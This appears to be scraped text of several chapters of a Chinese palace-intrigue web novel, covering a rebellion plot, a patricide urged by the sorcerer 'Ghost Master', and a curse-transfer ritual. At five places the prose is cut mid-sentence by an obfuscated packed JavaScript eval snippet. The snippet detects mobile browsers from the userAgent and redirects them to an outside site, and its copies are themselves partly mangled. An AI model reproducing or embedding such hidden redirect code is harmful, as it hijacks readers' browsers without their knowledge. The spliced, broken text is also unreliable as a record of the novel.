影巫艰难点头:“师父向来不许人近身伺候他沐浴更衣,但属下偶然间在师父沐浴时不小心闯进去过一次。其左肩……却隐约有那样的痕迹。只是水汽氤氲,属下看不大清。但属下没猜错的话,那应该是被灼烧过后的痕迹。但因是天生,所以胎记无法根除,还是留下了一片红痕……” “红莲……鬼师。”郑遂默默念着这个名字。 顷刻之间,在史料中寻查到的所有的碎片终于拼凑成型,指向一个令人背脊发凉的真相。 那个操纵蛊毒、搅动风云,甚至不惜助大燕国故皇帝太子**的鬼师,他的**,竟是四十年前那场北境惨败中,侥幸逃脱的摄政王遗孤。 一个早该被处死的前朝余孽! “复国?”郑遂冷笑一声。 “他复的哪门子国?” 摄政王本就心怀不轨,又致使大燕损失良将,万死也不为过。 手握几**利,就当真以为自己才是一国之主了? 可笑。 郑遂猛的将手中的册子扔下,站起身来。 “原来如此,好一个隐忍数十年,好一个借刀**。” 他终于明白鬼师此来京城的目的了。 他这是要霍乱朝堂,助慕容冲在各方势力你争我夺中脱颖而出。 他要利用这场叛乱,最大限度地消耗大齐的国力,让整个大齐从内部腐朽崩塌。 最终的目的,无非是要重建一个属于他的大燕王朝。 “那朕倒要看看,鬼师,有没有这样的本事!” 就在这时,史库门外传来一阵急促的脚步声,紧接着是王喜的急切声音:“陛下!陛下!奴才有十万火急之事禀报!” 郑遂霍然转身。 “进!” 王喜几乎是跌撞着推门进来,脸色煞白,额头上布满细密的冷汗,显然一路狂奔而来。 他顾不得行礼,冲到郑遂面前,尖声道:“陛下,刚刚宫门暗卫急报!慈宁宫一脸生的小太监,在半个时辰前拿着太后宫里的对牌,声称奉懿旨出宫采办!可、可暗卫循例追踪,发现他的马车根本未在城中停留!而是一出东华门,就立刻换了快马,一路……一路朝着西北方向去了!“ 看那路径,分明是冲着魏王的封地棘州去的! “好!”郑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287984|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遂冷笑出声来。 南宫治在自己面前装腔作势那么久,明明最恨郑氏,却还卑躬屈膝。 如今,总算是让他等到机会了。 “通知沈渚,快马加鞭,追随南宫治而去!” 他这么厉害,也不知道他会不会发现,如今盯着大齐的,早就不止徐敬意那几个了。 既然如此,那就两件事一并办了吧。 马蹄声碎,踏破荒原死寂。 西北人烟罕见的官道上,唯一匹骏马疾驰。 南宫治的手下日夜兼程,数次到接应之处换马。 在跑**不知道多少匹马后,棘州,终于到了。 眼前这片属于魏王的封地放眼望去,就叫人觉得透着一股深入骨髓的荒凉和衰败。 没有高耸的城墙,只有一圈象征性的、低矮且多处坍塌的土围子。 围子内,稀稀落落的房屋大多是用黄土筑成的,且早已低矮、歪斜,摇摇欲坠。 空气中更是弥漫着牲口粪便气息。 官道到了此处,也彻底变成了坑洼不平的土路。 南宫治的手下猛地一勒缰绳,稳稳停在了那圈破败土围子唯一的入口前。 门框旁,歪歪斜斜地靠着一个穿着破旧皮袄的老兵,正垂着头打盹。 马蹄声将他惊醒,他茫然地抬起头,骤然发现了面前的人,眼中顿生警惕。 南宫治的手下没有下马,而是居高临下地俯视着老兵。 他没有开口,只是缓缓抬起手,从斗篷内递出一块半个巴掌大小、通体乌黑的令牌。 老兵一看,顿时倒吸一口凉气。 是皇家令牌?! 他忙不迭的应了一声:“阁下稍后,奴才这就去通传!” 消息一路传进了魏王府。 魏王惊闻是京城派人来,顿时心生警惕。 前不久才刚传来郑遂即将大婚的消息,为何此刻又有人来? 难不成就因为自己迟迟未曾动身,还特地派人来“接”不成? 魏王苦笑。 他这个不受重视的藩王,去了也是丢人,何故揪着他不放? 第154章 最有资格的人 到宫里来的人,拒绝不得。 魏王苦思冥想许久,终于还是不得已,答应了下来。 王府破败的门口站着一个年逾五十的老管家。 他警惕地打量着马背上风尘仆仆的不速之客,目光又转而落在那块令人心悸的乌黑令牌上。 停留片刻,才勉强侧身:“贵人请随我来。王爷……在正厅等候。” 穿过砖石破碎的庭院不远,就到了处处泛着一股陈腐的霉味的正厅。 所谓的正厅,其实也不过是间稍大些、勉强糊了窗纸的土屋。 屋内光线昏暗,仅靠墙角一个炭盆提供着微弱的热与光。 魏王就缩在那盆火旁的一张破旧圈椅里,身上裹着一件半旧的狐裘。 他并未起身,只是满眼戒备的看向被引入厅中的黑衣人。 “京城来的?”许久,魏王终于悠悠开口。 “皇兄大婚在即,本王自会遵旨入京朝贺。何须……何须劳动特使,千里迢迢跑到这穷乡僻壤来接本王?” 他刻意加重了“接”字,嘴角扯出一个苦涩的弧度。 “本王这个不受待见的藩王,去了也是徒增笑柄,皇兄何故……揪着我不放?” 黑衣人并未立刻回答。 他缓步走到炭盆的另一侧,拉过一张同样吱嘎作响的凳子坐下,动作自然得仿佛他才是此地的主人。 魏王瞳孔微微放大,眼中闪过一丝惊惧。 这人竟如此大胆?! 郑遂这是……全然不把自己放在眼里了吗? “王爷。”黑衣人满意的看到魏王眼里闪过的恐惧,终于开口。 “小的并非奉陛下之命而来。小的奉的,是南宫治,南宫之命。” “南宫?”魏王的瞳孔猛地一缩,身体下意识地绷紧。 这个姓氏,在京城之外或许声名不显,但在他们这些被皇室刻意遗忘、却无时无刻不在关注中枢动向的藩王耳中,无异于是一个令人听了就极为震惊的名字 南宫家的? 他们一族竟还有人活着? 可他怎么会派人来找自己? 黑衣人将魏王的惊疑尽收眼底,才继续道:“南宫先生命小的给王爷带句话:当年宫苑之中,是谁将年幼体弱的太子推入冰湖,吓得他高烧三日,险死还生?又是谁,因此事被先帝杖责五十,打得几乎丧命?连累生母贵妃娘娘失宠,最终郁郁而终?王爷……您被放逐出宫,无名无分。若无打算,只怕在这棘州一待就是一辈子!这削骨剜心的恨意,这日日夜夜啃噬心肺的**。您,当真就甘心在这泥潭里,烂到骨头都化成灰吗?” 每一个字,都精准的敲在魏王脆弱的神经上。 杖责撕裂皮肉的剧痛。 母亲临终前枯槁绝望的脸? 这二十年来如同跗骨之蛆的贫瘠与嘲笑。 一幕幕血淋淋的画面被黑衣人这轻描淡写的一番话强行撕开! 魏王的脸色瞬间由蜡黄转为惨白。 他放在狐裘下的手死死攥紧,呼吸逐渐粗重起来。 “你……你到底是什么人?!南宫治……他派你来,就是为了揭本王的疮疤?!”魏王有些声嘶力竭的质问道。 死士迎着他几乎要喷火的目光,淡然开口。 “王爷息怒。小的并非来揭疮疤,而是来告诉王爷,南宫先生与您一样,都是被这郑氏皇权碾碎了脊梁骨的人。” 他顿了顿,声音压得更低。 “王爷可知,南宫先生在入宫之前,是何身份?” 魏王被这突如其来的问题问得一怔。 入宫? 他竟还能入宫? 谁给他的胆子! 只听那黑衣人淡淡开口。 “先生他,本不姓南宫。他姓……百里。” 魏王心里掀起惊涛骇浪。 百里氏…… 那是前朝大燕最显赫的官宦世家,豪门望族,更是出了好些后妃,可以说前朝皇室捆为一体,密不可分。 “南宫一族,其实根本没本事兴风作浪。”黑衣人淡淡道。 “他们,不过也是百里一族的奴才而已。” 前朝倾覆,大齐开国先祖入主京城。 百里氏满门忠烈,宁死不降。 大齐先祖震怒,下令将百里一族男子十岁以上皆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287985|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斩,十岁以下者去势,充入宫中为奴。 女子无论老幼,尽数没入教坊司。 世代匠门,百年清誉,一夜之间,鸡犬不留。 “我们老主子当面尚且年幼,被藏于南宫家才逃过一劫。后充当南宫家的后人,一通被发配边疆。” 他曾眼睁睁看着父兄的头颅滚落,看着母亲姐妹被拖入那污秽之地! 忍辱偷生,数十年如一日,将这血海深仇刻在骨头上,融在血肉里。 “他所做的一切,只为有朝一日,能将这郑氏的江山彻底掀翻!将这沾满了他百里氏鲜血的龙椅彻底砸碎。” 黑衣人歪头一笑。 “你们那位小皇帝,的确有几分本事。以为南宫一族不过是工匠奴仆,为了稳固自己储君之位,收买小主子入宫,以制虎符为由头玷污了太后娘娘。” 魏**惊的瞪大了眼睛。 玷污太后??? 纵然徐妙晴得千刀万剐,但…… 但郑遂的手段,未免过于阴毒。 这让魏王不寒而栗。 “可惜了,小皇帝还是没算到,小主子本就不是南宫家的。” 言罢,再无后话。 厅内死一般的寂静。 炭盆里偶尔爆出一点火星的噼啪声,此刻显得格外刺耳。 魏王浑身僵硬,被震撼到几乎连呼吸都停滞了。 “所以……你要本王做什么?” 这人可不是平白无故来与自己说这些的,敢提起,必然就是有所图。 “当然是,和王爷一起,颠覆了您和南宫先生都痛恨的皇室啊。” 黑衣人轻描淡写的一句,让魏王倒吸一口凉气。 黑衣人却微微一笑:“王爷,您还在担心什么?担心事成之后,先生会对您不利?” 他嘴角勾起一丝嘲讽的弧度。 “先生要的,是郑氏江山的倾覆!至于谁坐在那废墟之上呢……不管是谁,只要能让这郑氏的列祖列宗在地下永世不得安宁,是否姓郑,对先生而言,又有何分别?您,是郑氏皇族中最恨他们的人,也是最有理由、最有资格,从他们尸体上踏过去的人!” 第155章 红莲印记 黑衣人身体微微前倾,对上魏王惶惶不安的眸子,循循善诱。 “王爷,机会就在眼前!皇后册封大典,天下藩王齐聚!那是何等盛大的场面?那是……千载难逢的良机!只需您振臂一呼,将当年所受的不公、**,当着天下人的面,血淋淋地撕开!那些同样被郑遂猜忌、被削藩令压得喘不过气的藩王们,他们心中的怨气,难道会比您少?星星之火,可以燎原!您这第一把火点起来,整个京城……必将陷入滔天火海!” “届时……”黑衣人面上忽然露出诡异一笑。 “内有太后娘娘呼应,外有您与诸藩王搅动风云!郑遂顾此失彼,疲于奔命!先生筹谋数十载,早已在宫中布下天罗地网!只需一个契机……” 届时郑遂必死无疑! 黑衣人缓缓站起身来,大手一挥。 “而您,魏王殿下,您将是这场风暴的中心!是拨乱反正的旗帜!是……未来新朝的开路先锋!您失去的尊严,您母亲的冤屈,您这二十年的苦难……都将由您亲手,十倍、百倍地讨还回来!这棘州的荒凉,将成为您龙兴之地的起点!您……还在犹豫什么?!” 每一个字,都像滚烫的烙铁,狠狠烫在魏王心防最溃烂的伤口上。 复仇的念头被彻底点燃,瞬间便开始熊熊燃烧。 魏王在激动之中,只感觉自己眼前仿佛已经出现了那烈火焚城的景象,看到了郑遂狼狈倒台,看到了自己站在万众瞩目之处,接受着万民来朝。 是啊,在棘州苦熬了这么久,其他藩王都有的,自己没有,而他凭什么没有?! 既然没有,那就让自己去拥有那些他们永远得不到的! “告……告诉南宫先生……本王……干了!” 京郊,慕容宅邸前。 一辆毫不起眼的青布马车悄然停下。 车帘掀开,一身玄色布袍,身体被宽大斗篷遮掩得严严实实的人缓缓下了车。 门环轻叩,三长两短。 沉重的木门吱呀一声,打开一道缝隙,从露出一张警惕的脸来。 当看到门外那身标志性的玄袍和兜帽下露出的冷硬下颌线时,老仆眼中瞬间爆发狂喜。 “是……是先生!先生回来了!”老仆激动得语无伦次,慌忙将门彻底拉开。 根本顾不上行礼,转身就跌跌撞撞地向内跑去,嘶声大喊:“公子!公子!先生回来了!先生回来了啊!” 急促的脚步声很快从内院深处传来。 “师父!”慕容冲冲到鬼师面前,脚步踉跄,差点摔倒。 “您……您终于回来了!冲儿……冲儿……” 他声音哽咽,竟一时无法成语,只是深深一揖到底。 鬼师藏在兜帽下的目光落在慕容冲身上。 片刻,他微微颔首。 “嗯,带我去见你父……父亲。” “是!是!”慕容冲连忙直起身,胡乱用袖子擦了擦眼角。 “父皇……父亲他就在后园暖阁!他老人家身子一直不见好,日夜忧思,如今先生来了,父亲定然定然会好起来的!” 慕容冲连忙侧身引路,仿佛终于有了主心骨一般。 绕过回廊,来到后院一处勉强还算整洁的小厢房前。 慕容冲深吸一口气,轻轻推开了门扉。 一股浓郁苦涩的药味扑面而来。 厢房内内光线昏暗,窗户紧闭,只点着一盏如豆的油灯。 慕容泓裹着厚厚的旧毛毯,蜷缩在一张铺着半旧褥子的躺椅上。 自从上次和慕容冲大吵一架后,慕容泓就又病倒了。 “父皇!”慕容冲快步走到躺椅旁,“您看谁来了?鬼师先生!是鬼师先生回来了!” 慕容泓的眼皮剧烈地颤动了几下,费力的睁开眼。有些茫然地看向门口逆光而立的那道玄色身影。 几乎瞬间,慕容泓的眼中就迸发出了异样的光彩。 这是他与鬼师第一次见面,果真名不虚传…… 而如今提到他,慕容泓不知是该恨还是该喜。 慕容冲堂堂太子,却背着自己去学巫蛊之道,简直不成体统。 然而无论心中怎么恨,终究辉煌已成历史。 他们两个, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287986|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过是自封的皇帝太子罢了。 早就失了正统之身,除了怀念过去的高高在上,和抱着一个复国的飘渺念头以外,他们什么都没有。 所以慕容泓也早就没了立场去质问鬼师了。 况且,若不是他当初给慕容冲传信,以及他交给慕容冲的那些本事,只怕自己早就死在单于手中了。 最终,慕容泓也只是淡淡的问候了一句。 “先生来了,一路可还顺利?” 鬼师迈步,无声地走入屋内。 他走到躺椅前,停下了脚步。 慕容冲屏住了呼吸,紧张地看着二人。 鬼师既然已经来了,他们就一定会有希望。 如今只看他们二人如何商议了。 当然……如果慕容泓固持己见,自己也不会…… 手软。 慕容泓浑浊的目光在鬼师身上停留了许久,不知该如何开口。 鬼师也不语,而是在慕容冲惊疑不定的目光中,将手伸向了自己玄色斗篷的系带。 “师父?……”慕容冲疑惑的开口。 不知为什么,心里竟忽然生出一种不祥的预感。 系带被无声地解开,厚重的斗篷落地,露出一张青白的脸来。 然后他缓缓摸向自己里面穿的劲装扣子,在二人不解的目光中,将扣子一一解开,露出了自己干瘦的上身。 “你……这事何意?”慕容泓终于惊诧的开口。 鬼师微微一笑,缓缓背过身去。 左肩胛骨下方,一片明显被烫烧过的,但却依旧隐约能看出是红莲状的胎记,猝不及防的呈现在了慕容泓的眼前。 慕容泓倒吸了一口凉气,浑身上下的血液几乎凝固了一般。 尘封了四十多年的,曾属于大燕国皇室人人都不愿意提及的**历史,再一次清晰的浮现在了脑海中。 慕容泓,就是当年那个年幼登基,却因为母族式微,而被人操控、利用的傀儡皇帝。 而面前的人,竟然就是…… “不、这不可能……”慕容泓下意识的开口。 第156章 弑父 “为什么不可能呢?”鬼师终于开口说出了今天见到慕容泓后的第一句话。 他的声音极为嘶哑,像是被刀片割过喉咙。 但这嘶哑的声音落在慕容泓的耳朵里,却如同地狱传来的丧钟,每一个音节都在剜他的心,强迫掘开那尘封了四十多年、沾满血污和耻辱的记忆。 慕容泓浑浊的双眼死死盯着那红莲印记,身体剧烈地颤抖起来。 恐惧、难以置信、滔天的恨意瞬间冲垮了他所有的理智。 他终于反应过来了! “你……是你!”慕容泓的声音陡然拔高。 “慕容垂!是你!你这个叛徒!你这个**之君!大燕就是毁在你这个懦夫、你这个无耻的投降者手里!” 慕容泓猛地想从躺椅上撑起来,却因极度虚弱而重重跌了回去。 只能伸出一根枯瘦的手指,颤抖地指着鬼师,唾沫横飞地厉声咒骂。 “你还有脸回来?!” 一定是他他引诱慕容冲打开城门,跪迎逆贼,将慕容氏的江山拱手相送! 害得宗庙倾覆,社稷沦丧! 害得无数忠臣良将引颈就戮,后宫妃嫔受尽**! “你……你这慕容氏的千古罪人!你身上的每一寸骨头都浸满了大燕子民的血!你该下十八层地狱,永世不得超生!” 然而,面对这狂风骤雨般的辱骂,鬼师那张青白的脸上却没有任何波澜。 他甚至连眉毛都没有动一下,眼神依旧平静得像一潭死水,只是默默地站在那里,任由那些恶毒的言语倾泻在自己身上。 事实证明,鬼师根本就不在乎这些。 慕容泓怒骂也好,说破大天也好,不在乎的,就是不会被放在心里。 根本就是左耳朵听右耳朵冒,丝毫不拖泥带水。 他的沉默,反而像一团棉花,让慕容泓怒火根本无处发泄。 慕容冲完全懵了。 他站在两人之间,看看状若疯癫的父亲,又看看任由辱骂的师父,巨大的信息冲击让他脑中一片空白。 他曾将鬼师视为自己登上高位唯一希望和倚仗,可眼前,父皇竟说师父是**的罪魁祸首? 这怎么可能?! “父皇!您……您说什么?”慕容冲下意识地挡在了鬼师身前一步。 “师父他……他一直在帮我们!没有师父,我们早就死在单于手里了!您是不是病糊涂了?!” “糊涂?引狼**的是你!慕容冲!”慕容泓见儿子竟还维护对方,更是气得目眦欲裂,嘶声力竭地吼道。 “你认贼作父!他就是慕容垂!当年就是他父亲辱没我大燕皇室!他教你那些邪术,根本不是为了帮你!他是为了报复!报复所有慕容氏的人!他恨我们!他恨整个慕容皇室!他是在利用你!你这个蠢货!” “利用我?”慕容冲如遭雷击,身体晃了晃,脸色瞬间惨白如纸。 他猛地回头看向鬼师,眼中满是难以置信。 鬼师终于抬起了眼皮。 他没有解释,更没有任何辩解,只是语气平静地说道。 “为师教导你,给你力量,助你脱困,皆因你有资质。为师的目标,自始至终,只有一个。” 他的目光缓缓移向还在咆哮的慕容泓,声音冰冷如刀。 “是他。” 这个幼师躲在深宫,懦弱无能,就连老天都站在他那边,让摄政王败了,稳稳当当坐了多年皇位,最后却还是眼睁睁看着国破家亡,却只会将罪责推给别人的皇帝。 “他才是阻挡你前路,让你永远活在复国虚妄阴影下的最大障碍。” “你……你胡说!”慕容泓惊恐地尖叫起来。 他感觉到了鬼师话语中那赤裸裸的杀意和挑拨。 然而鬼师没有任何辩解,继续对着慕容冲徐徐道。 “选择权在你,若你还想有前途,还想真正掌握自己的命运,而非永远做一个有名无实的太子,被一个活在过去的老人拖累,就与他断绝关系。只要斩断这腐朽的枷锁,为师,自然会倾尽全力助你成就霸业。” “断绝……关系?”慕容冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287987|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喃喃重复。 目光再次落回到形容枯槁、满脸怨毒的父亲身上。 鬼师的话像魔咒,点燃了他内心深处积压已久的、连自己都未曾察觉的怨恨和不甘。 复国的虚妄?枷锁? 是啊……他慕容冲,顶着太子的名头,却从未真正得到过属于太子的尊荣。 **路上,担惊受怕的是他,想办法求存的是他,而父皇……除了沉浸在过去的辉煌和对他复国无能的指责中,又做了什么? 而且他从未在意过自己!哪怕自己已经是太子了! 幼时,无论他多么努力读书习武,父皇的目光总是更多地停留在三弟身上,称赞三弟聪慧机敏…… 国破前夕,朝堂上隐隐有风声,说父皇属意更“懂事”的三弟为储,若非变故来得太快…… **途中,父皇每每提及复国,言语间对他能力的质疑,对三弟**的痛惜…… 哪怕是他亲自对那个意图谋反的儿子动了手,可对他来说,得不到的,何尝不是最珍贵的。 反观自己,不管做什么,似乎在他眼里都是错的。 哪怕自己蜗居大齐多年,一直在想办法复国,可慕容泓都已经病成这样了,不还是时不时的斥责他学习巫蛊是自甘堕落、有辱门楣? 慕容泓根本不理解他为了生存、为了他这个父皇付出了什么…… “父皇……”慕容冲的声音陡然变的尖锐起来。 “您说我引狼**?说我蠢?可您呢?当年若非您优柔寡断,偏听偏信,丝毫不把我放在眼里,我大燕何至于……何至于此?!” 慕容冲忽然狂笑起来。 多年来,因自己的错误决定而导致国破的痛苦,似乎在此刻终于有了出口。 “还有三弟!您心里,是不是一直觉得,他比我更配当这个太子?比我更配坐上那把龙椅?!”慕容冲厉声质问。 慕容泓被问得一窒,随即恼羞成怒:“你……你这逆子!大敌当前,不思为父分忧,竟敢妄议废立,翻这些陈年旧账!朕……朕当年……” 第157章 鬼师到京城了 “够了!”慕容冲厉声打断。 “您的当年,就是**!您的分忧,就是让我永远活在您失败的阴影下,做一个有名无实的**太子!您……您根本不配为君!更不配为父!” 话音未落,慕容冲眼中凶光毕露。 他猛地抽出腰间佩剑,寒光一闪,带着积压了二十多年的怨愤,狠狠地刺向躺椅上的慕容泓。 “慕容冲!你敢!!!”慕容泓的尖叫声戛然而止,只剩下一声短促的闷哼。 噗嗤! 锋利的剑刃毫不犹豫穿透了慕容冲瘦的胸膛。 鲜血瞬间涌出,染红了破旧的躺椅。 慕容泓的眼睛瞪得极大,死死盯着儿子扭曲的脸。 直到这一刻,他都不敢相信,自己养育的儿子,竟然真的会对自己举起屠刀。 慕容冲已经愣住了,全身僵硬的看着父亲的生命在眼前迅速流逝。 刚才那几乎让他失去理智的暴戾如同潮水般退去,留下的只有一片令人窒息的空虚。 他……杀了自己的父亲? 慕容冲手一松,猛的往后**一步。 “做得好。”鬼师冰冷嘶哑的声音打破了死寂。 他缓步上前,干枯的手掌轻轻拍了拍慕容冲僵硬的肩膀。 “这才是我鬼师的弟子。斩断牵绊,方能破茧成蝶。这腐朽的过去,就该彻底埋葬。” 他微微俯身,凑近慕容冲耳边。 “记住今日,记住这血的味道。你的霸业之路,就从这弑父的决绝开始。为师,很满意。” 说完,鬼师不再有任何停留。 他弯腰捡起地上那件玄色斗篷,动作从容地重新披在身上,系好系带,转身走出了屋子。 房间里,只剩下慕容冲一人。 他呆呆地站在原地,目光空洞地注视着躺椅上那具逐渐冰冷的尸体。 鲜血还在无声地蔓延,染红了地面,刚才那沸腾的恨意、被许诺的霸业宏图,此刻都变得模糊而遥远。 只有地上那抹刺目的红在烫着慕容冲的心。 外面传来了老仆惊惶的询问声,但慕容冲什么也听不见了。 —— 御书房内,灯火通明。 关于慕容冲的事,已经让郑遂生了一天闷气了。 他一直都没开口说话,坐在桌案前凝神批阅着堆积如山的奏章,时间一晃就过了一整天。 王喜侍立一旁,几次三番的想劝郑遂休息一会儿,可却大气也不敢出。 再次望过去时,王喜忍不住微微摇了摇头。 罢了,再多的言语,都没有一个行动要紧。 他准备出去,催小厨房再热一遍燕窝。 可就在转身的瞬间,侍立在阴影角落里的影巫身体猛地一颤。 王喜惊讶的看过去,只见影巫脸色骤然惨白。 刚想问怎么了,就听影巫闷哼一声,整个人向前踉跄一步。 噗的一声,影巫骤然喷出了一大口暗红色的血雾。 王喜下意识的后退两步,等回过神,低头惊讶的看过去时,大片鲜血已经溅洒在光洁的金砖地面上,触目惊心。 “影公子!”王喜大惊失色,下意识的扶住影巫。 郑遂也终于回过神来,抬头一看就见地上一大摊血,惊得霍然起身,几步跑到影巫身边。 “影巫?” 可影巫脸色已经在眨眼间就灰败如金纸,身体也筛糠般剧烈颤抖着。 双目紧闭,牙关紧咬,发出“咯咯”的声响,整个人蜷缩着倒在地上,开始不受控制地抽搐。 “怎么回事?!”郑遂厉声喝问,伸手去扶他。 一触手,郑遂就明显感觉到影巫的身体冰冷僵硬,肌肉更是绷紧如铁。 “呃……呃啊………” 影巫发出了痛苦的闷哼,额头青筋暴起,汗水混着血污淌下。 郑遂的心沉到了谷底。 影巫是他最隐秘的刀,也是他了解鬼师动向的关键。 此刻影巫这突如其来的异状,绝非寻常伤病! 只怕是鬼师到了…… 郑遂赶紧急召太医,一边焦灼地试图稳住影巫的身体。 但那股抽搐的力量大得惊人,几乎将郑遂也给推开。 “陛下!陛下!”王喜也吓得魂飞魄散,扑过来帮忙按住影巫,“影公子这是……” 郑遂脸色铁青,没有作答。 他虽要力保影巫, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287988|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可面对这诡异莫名的症状,心中也毫无把握。 难道,还是对抗不过鬼师? 然而就在这千钧一发之际,殿外传来一阵急促的脚步声。 紧接着是王喜小徒弟惊喜的声音:“师父!人找到了!” 王喜猛地抬头,面上一喜,像是抓住了救命稻草,连忙出去询问。 片刻后,王喜匆匆回来,对着郑遂嘶声喊道。 “陛下!陛下!人到了!您之前让老奴寻访的巫蛊师,其中一位刚到京城,老奴斗胆……斗胆直接把人带来了!就在殿外候着!” 郑遂眼中精光一闪,或许有救了! “快!宣!” 殿门无声开启,一个身着洗得发白的灰布长袍、须发皆白的老者,提着一个藤箱步履平稳地走了进来。 因为年岁过大,他已面容枯槁。 但或许因为见过了大风大浪,入了宫眼神中也没有丝毫心惊胆战,反而异常平静。 他并未像寻常人那样惶恐跪拜,只是对着郑遂微微一揖。 “草民巫咸,见过陛下。” 礼数极简,甚至有些怠慢。 王喜在旁看的频频皱眉。 本事大,也不能这般无礼吧? 不怕郑遂一怒之下砍了他? 但郑遂此刻明显也顾不得计较这些了,急道:“免礼!快看看他!” 巫咸的目光落在痛苦抽搐的影巫身上,一双平静无波的眼睛里终于掠过一丝异色。 他没有立刻上前,而是放下藤箱,从箱中取出一个巴掌大的古旧罗盘。 罗盘上的指针并非指向南北,而是刻着一些诡异的符文。 只见巫咸手持罗盘,绕着影巫缓缓走了几步。 忽然,罗盘上的指针疯狂地乱转起来,最终死死定在影巫的心口位置。 “噬心咒。”巫咸收回罗盘。 “而且,是子蛊噬主。” 郑遂心头一震:“噬心咒?何解?” 巫咸走到影巫身边蹲下,枯瘦的手指迅速在影巫心口、眉心、几处大穴点按了几下,又翻开他的眼皮看了看。 影巫的抽搐奇迹般地稍稍平复了一些,但呼吸依旧微弱急促,脸色灰败。 第158章 由陛下来掌蛊 “此咒歹毒,乃以母蛊操控子蛊,噬咬宿主心脉神魂。下咒者必是修为通玄之辈。”巫咸站起身,看向郑遂,徐徐解释道。 “对此咒,世间根本没有解药,因为此咒本就是以施术者心血精魂为引,除非施术者身死或自愿解除,否则无解。” 郑遂的心沉了下去:“难道……” “但,有一个法子,可强行一试。”巫咸话锋一转。 “需引另一道噬心咒入体,与子蛊相较,直至将其杀死。而且得由陛下您,亲自掌母蛊,有龙气**,才可保他性命无虞!” “什么?!”王喜失声惊叫,“陛下万金之躯,岂能……” 岂能碰这些东西? 巫咸没有理会王喜,继续对郑遂道:“陛下需承受老朽施术,将一道新的噬心母蛊种入您心脉。此蛊霸道,入体过程痛苦万分。待母蛊在您体内稳固,您便是新咒之主。再以您掌中之母蛊,强行催动,去攻击、吞噬影巫体内那道属于敌人的子蛊!” 他顿了顿,看向郑遂。 郑遂深吸一口气,继续道。 “两道噬心咒在影巫心脉中相斗,如同千刀万剐,其痛苦比他现在承受的还要剧烈十倍。而陛下您,作为新母蛊的宿主,子蛊所受的每一分痛苦,都会百倍反噬于您心脉。” 此乃双刃之痛,一损俱损。 若掌蛊之人意志不坚,或影巫承受不住,二人皆会心脉尽碎而亡。 若成功,敌人的子蛊被吞噬,影巫可活,郑遂体内新种下的母蛊,巫咸也可设法压制。 “虽成隐患,却暂时无碍。陛下,此法凶险万分,九死一生,您可要一试?” 王喜早已吓得魂不附体,扑通一声重重跪倒在地,涕泪横流地抱住郑遂的腿。 “陛下!不可啊陛下!万万不可!龙体为重!龙体为重啊!影公子……影公子他……生死有命,陛下您不能以身犯险啊!老奴求您了!求您了!” 王喜磕头如捣蒜,额头瞬间青紫一片。 郑遂站在原地,身体绷得笔直。 他看着地上痛苦蜷缩、气息奄奄的影巫,他苍白年轻的脸庞忽然就与记忆中那张模糊的少年面孔重合。 前世,他因为犹豫,因为权衡利弊,最终没有保护好那个少年。 他不能让那种蚀骨的愧疚和悔恨,如同跗骨之蛆,啃噬他两世了。 这一次,他不能再被那无用的犹豫所困! “朕意已决。”郑遂斩钉截铁地说道。 他甩开王喜的手,目光灼灼地看向巫咸:“先生,请施术!” “陛下!!!”王喜绝望地哀嚎一声,瘫软在地。 巫咸枯槁的脸上第一次露出了些许动容,他深深看了郑遂一眼,不再多言。 